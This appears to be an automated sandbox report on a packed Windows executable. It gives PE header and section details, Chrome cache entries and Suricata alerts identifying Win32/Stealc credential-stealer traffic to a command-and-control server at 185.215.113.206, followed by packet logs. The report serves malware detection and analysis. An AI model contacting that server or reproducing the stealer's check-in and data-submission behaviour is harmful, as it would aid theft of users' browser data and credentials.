Preview:	)]}'.["",["bridget schumacher obituary","alphabet stock earnings","red dead dead redemption","daily horoscope today","houston isd teacher certification","mcdonald quarter pounder e coli outbreak","xenoblade chronicles x nintendo switch","helldivers update patch notes"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"google:entityinfo":"CgovbS8wMjdrajEyEgpWaWRlbyBnYW1lMuoKZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFFQUFBQUFiQ0FNQUFBRDcvbm5ZQUFBQVlGQk1WRVgvLy84QUFBQ3lzcks1dWJtUWtKRGQzZDJhbXBxc3JLejYrdnJRME5EcjYrdk16TXlpb3FLOXZiM1QwOU9FaElUeDhmSEV4TVJxYW1ybDVlVllXRmhIUjBkemMzTmhZV0VxS2lwN2UzdFBUMDg5UFQwek16TWhJU0VaR1JrUUVCQ3luVW5nQUFBRFdVbEVRVlE0alcxVjJZS3RLQXdzUUJZUlJkelg3di8veTF2ZzZUczl6dVJCbEtXb0pKVUlQTmJhb2JKS2Q5SVl1MC9IdEV5eDZiMlUwZ2Fwckttc2FSdjB5ZmQxc2lwcHZLMEtYYTMxT0hlZDFub0FYTzkzSVFUNlVUdDVqcHdjVHpHMFZvakc5Vm8zMHh0QWRHV3

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133762
Entropy (8bit):	5.436589185476736
Encrypted:	false
SSDEEP:	3072:2P7vjxd0QniyZ+qQf4VBNQ0pq6vx7U+OUaKszQ:E7vv0yTVBNQ0pZvxI+ORQ
MD5:	C3F55084F391E4ACF3E09120DC30D376
SHA1:	8506C0D8D9365B25C3953328443157AF79A226FF
SHA-256:	06AB7DC272F5CC0B00B8A3A6F680878480346CF075AA221CEBFB1B18BD0DBCE4
SHA-512:	B2EA9928DBF7FAF76034EB323E238089310DBDB2A9157BE2F897DE9C369A31450C5362067FD32FCBC5A39DA429C767C267C58192CA6E49480C2D8B0CC3F71A92
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.957019779525826
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'139'136 bytes
MD5:	6e874fc2bc875fdf946b61b7b83b1f9f
SHA1:	3415ad2375d7d5550007390499ef1ba82bb676b7
SHA256:	3970ffd30d3044c224700ab6584a10212b9a5fb0b9d5be438e9078fa76e111d2
SHA512:	69cb646c13766eae54674e84ac5a4ee6475da9ccc8bdc7bc6da10888f0ecc1310b8694b0249fb72a54431f14723afc83a7f28a0b9d2022166ac692ce0570a207
SSDEEP:	49152:P7U7j9sofFNtHZIcyynQuSe2V+hObB1aUDa4EZ:P7U9tP8EQuP0b73Da4E
TLSH:	F2A533635A2749BDCD49C0F1294F828A5FE5F79809B783624F1137E97A93F42083DC6A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xb32000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3AD0FC229Ah
jc 00007F3AD0FC22B6h
add byte ptr [eax], al
jmp 00007F3AD0FC4295h
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
mov byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	aaa92c3997245af245e2dfa37cbcb586	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x2a7000	0x200	070f3a6d04aaccf8a83a3924b9f0e7cf	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lblfonbf	0x591000	0x1a0000	0x19f400	0694987295b3f19109eeedd0c4d43740	False	0.9949443341736905	data	7.9533230721228705	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
aqgwpusn	0x731000	0x1000	0x400	2b48a0e71bb4fd22028f8d59d1ceb4a3	False	0.740234375	data	5.86371805476236	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x732000	0x3000	0x2200	9797f69108256e562e26c4ad4c57bdd9	False	0.06916360294117647	DOS executable (COM)	0.8366386982645768	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T06:16:05.494284+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-30T06:16:05.777205+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-30T06:16:05.783934+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-10-30T06:16:06.060484+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-30T06:16:06.101192+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-10-30T06:16:07.196690+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-30T06:16:07.744086+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-30T06:16:25.973637+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T06:16:29.380173+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T06:16:31.153184+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T06:16:32.188234+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T06:16:34.473416+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T06:16:35.156749+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 06:16:04.281122923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:04.287381887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:04.287497044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:04.287643909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:04.293824911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:04.985774994 CET	49675	443	192.168.2.4	173.222.162.32
Oct 30, 2024 06:16:05.194195986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:05.194258928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:05.197179079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:05.202622890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:05.494204998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:05.494283915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:05.495687962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:05.501005888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:05.777148008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:05.777168036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:05.777177095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:05.777204990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:05.777223110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:05.778625965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:05.783934116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:06.060384035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:06.060403109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:06.060411930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:06.060425997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:06.060439110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:06.060450077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:06.060483932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:06.060517073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:06.061201096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:06.061264992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:06.095868111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:06.101191998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:06.377083063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:06.377160072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:06.395225048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:06.395292997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:06.400506973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:06.400633097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:06.400667906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:06.400676966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:06.400686026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:06.400696039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:06.400706053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.196552038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.196690083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:07.464248896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:07.469665051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.744009018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.744041920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.744074106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.744086027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.744086027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:07.744106054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:07.744132996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:07.744208097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.744232893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.744251966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:07.744283915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:07.744599104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.744627953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.744643927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.744648933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:07.744669914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.744671106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:07.744690895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:07.744724989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:07.745507002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.745536089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.745560884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:07.745584965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:07.899822950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.899842978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.899858952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.899874926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.900082111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:07.900082111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:07.900084972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.900103092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.900121927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.900131941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:07.900137901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.900160074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:07.900191069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:07.900970936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.900986910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.901001930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.901015997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:07.901029110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:07.901062965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.021882057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.021900892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.021913052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.021924973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.021938086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.022001028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.022209883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.022221088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.022248030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.022259951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.022268057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.022300005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.022330046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.022342920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.022373915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.022402048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.023180962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.023226976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.056991100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.057030916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.057044029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.057065010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.057230949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.134735107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.134763956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.134778976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.134788036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.134792089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.134807110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.134807110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.134831905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.134844065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:08.135149956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:08.135164976 CET	80	49730	185.215.113.206	192.168.2.4
